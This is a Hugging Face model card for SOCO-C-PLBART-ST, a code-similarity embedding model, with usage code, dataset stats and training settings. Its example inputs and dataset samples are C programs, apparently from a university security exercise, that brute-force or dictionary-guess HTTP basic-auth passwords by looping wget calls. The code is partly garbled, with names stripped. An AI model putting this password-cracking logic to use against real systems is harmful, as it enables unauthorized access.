Downloads · 30 days
13
13% of all-time downloads
buelfhood/SOCO-C-PLBART-ST
SOCO-C-PLBART-ST is a sentence similarity model from buelfhood. Use it when you need a score for how close two texts are. It is set up for sentence-transformers.
This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, par…
Downloads · 30 days
13
13% of all-time downloads
All-time downloads
99
Public
Parameters
139M
558 MB on disk
Likes
0
Public
Click a slice to open those files.
.safetensors557 MB · 100%
From the Hugging Face model README
This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'PLBartModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
'\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n FILE *fptr;\n char pass[257];\n char send[100],path[50];\n int res,count=0;\n int startTime, stopTime, final;\n startTime = time();\n while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n \n while(1) {\n fgets(pass,256,fptr);\n if(pass == NULL) exit(1);\n if(pass[3]==\'\\n\') {\n pass[3]=\'\\0\';\n\t send[0]=\'\\0\';\n\t strcpy(send,"wget --http-user= --http-passwd=");\n \t strcat(send,pass);\n\t strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t count++;\n\t if((res=(system(send)) == 0)) {\n\t fclose(fptr);\n\t stopTime = time();\n final = stopTime-startTime;\n\t printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n",pass,(double)final/OneBillion,count);\n\t exit(1);\n\t }\n }\n }\n }\n printf("\\nFILE CANNOT OPENED\\n");\n}\n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime, stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t [2] = arr[k];\n\t [3] = \'\\0\';\n\n\n\t printf("Checking for the word :%s\\n",);\n\t strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass == 0)\n\t { \n printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t stopTime = time();\n\n final = stopTime-startTime;\n\t\tprintf("The password for the user : %s\\n",); \n printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n',
'\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
# [0.9742, 1.0000, 0.9571],
# [0.9676, 0.9571, 1.0000]])
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
| sentence_0 | sentence_1 | label | |
|---|---|---|---|
| type | string | string | int |
| details | <ul><li>min: 146 tokens</li><li>mean: 381.73 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 146 tokens</li><li>mean: 365.36 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.10%</li><li>1: ~0.90%</li></ul> |
| sentence_0 | sentence_1 | label |
|---|---|---|
| <code><br><br>#include <stdio.h><br>#include <string.h><br>#include <sys/time.h><br>#define OneBillion 1e9<br><br><br>int () {<br> FILE *fp;<br> int ret;<br> char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";<br> char str[100];<br> char passwd[150];<br> int startTime, stopTime, final;<br> strcpy(passwd,strin);<br> fp = fopen("words","r");<br> <br> if (fp == NULL) {<br> printf ("\n Error opening file; exiting...");<br> exit(0); <br> }<br><br> else <br> startTime = time();<br>while (fgets(str,20,fp) != NULL) {<br> str[strlen(str)-1] = '\0';<br> if (strlen(str) < 4) {<br> strcat(passwd,str);<br> printf("string is %s\n",passwd);<br> ret = system(passwd);<br> strcpy(passwd,strin);<br> if (ret == 0) break;<br> }<br> }<br> stopTime = time();<br> final = stopTime-startTime;<br> printf("\n============================================================");<br> printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");<br> printf("\n UserName : ");<br> printf("\n Pas...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br>#include<ctype.h><br>#include<time.h><br><br>int ()<br>{<br><br> int m,n,o,i;<br> char URL[255];<br> char v[3];<br> char temp1[100];<br>char temp2[100];<br>char temp3[250];<br>char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};<br>time_t u1,u2;<br><br> (void) time(&u1); <br> strcpy(temp1,"wget --http-user= --http-passwd=");<br> strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> <br> for(m=0;m<=51;m++)<br> {<br> v[0]=[m]; <br> v[1]='\0';<br> v[2]='\0';<br> strcpy(URL,v); <br> printf("\nTesting with password %s\n",URL);<br> strcat(temp3,temp1);<br> strcat(temp3,URL);<br> strcat(temp3,temp2);<br> printf("\nSending the %s\n",temp3);<br> i=system(temp3); <br> <br> if(i==0)<br> {<br> (void) time(&u2); <br> printf("\n The password is %s\n",URL);<br> printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1...</code> | <code>0</code> |
| <code><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include <errno.h><br><br>int () {<br><br> while (1) { <br><br> system("wget -p www.cs.rmit.edu.");\<br><br> system("mkdir sitefiles");<br><br> system("cp www.cs.rmit.edu./index.html sitefiles");<br> system("diff sitefiles/index.html www.cs.rmit.edu./index.html | mail @cs.rmit.edu.");<br><br> system("md5sum www.cs.rmit.edu./images/. > imageInfo.txt");<br> system("diff imageInfo.txt sitefiles/imageInfo.txt | mail @cs.rmit.edu.");<br><br> system("cp imageInfo.txt sitefiles");<br> sleep(86400);<br> }<br> <br>}<br></code> |
| <code>#include <stdio.h><br>#include <stdlib.h><br>#include <strings.h><br>#include <ctype.h><br>#include<sys/time.h><br><br>int ()<br>{<br> char first[80], last[50];<br> int count =0;<br> int Start_time,End_time,Total_time,average;<br> char password[15], *getWord;<br> getWord = " ";<br> FILE *fp;<br> int systemres = 1;<br> fp = fopen("words", "r");<br> Start_time = time();<br> strcpy(first, "wget --http-user= --http-passwd=");<br> strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");<br><br> {<br> getWord = fgets(password, 15, fp);<br> if (getWord == NULL) exit(1);<br> password [ strlen(password) - 1 ] = '\0';<br> if(strlen(password) == 3)<br> {<br> strcat(first, password);<br> strcat(first, last);<br> printf("The length of the word is : %d", strlen(password));<br> printf("\n %s \n",first);<br> count++;<br> systemres = system(first);<br> if (systemres == 0)<br> {<br> printf(" Time =%11dms\n", Start_time);<br> End_time = time();<br> Total_time = (End_time - Start_time);<br> Total_time /= 1000000000.0;<br> printf("totaltime in seconds =%lldsec\n", ...</code> | <code><br><br><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include <time.h><br><br>int () <br>{<br> int i,j,k,cntr=0;<br> char pass[3];<br> char password[3];<br> char get[96];<br> char username[]="";<br> int R_VALUE;<br> double time_used;<br> <br> clock_t ,end; <br> <br> =clock(); <br> <br> <br> <br> for (i = 65; i <= 122; i++)<br> {<br> if(i==91) {i=97;}<br> <br> for (j = 65; j <= 122; j++)<br> {<br> if(j==91) {j=97;}<br> <br> for (k = 65; k <= 122; k++)<br> {<br> if(k==91) {k=97;} <br> <br> pass[0] = i;<br> pass[1] = j;<br> pass[2] = k;<br> sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]); <br> cntr++;<br> <br> printf("%d )%s\n\n", cntr, password);<br> sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);<br> <br><br> R_VALUE=system(get);<br> <br> if(R_VALUE==0) <br> {<br> printf("The Password has been cracked and it is : %s" , password);<br> ...</code> | <code>0</code> |
per_device_train_batch_size: 16per_device_eval_batch_size: 16num_train_epochs: 1fp16: Truemulti_dataset_batch_sampler: round_robinoverwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.0warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: batch_samplermulti_dataset_batch_sampler: round_robinrouter_mapping: {}learning_rate_mapping: {}@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->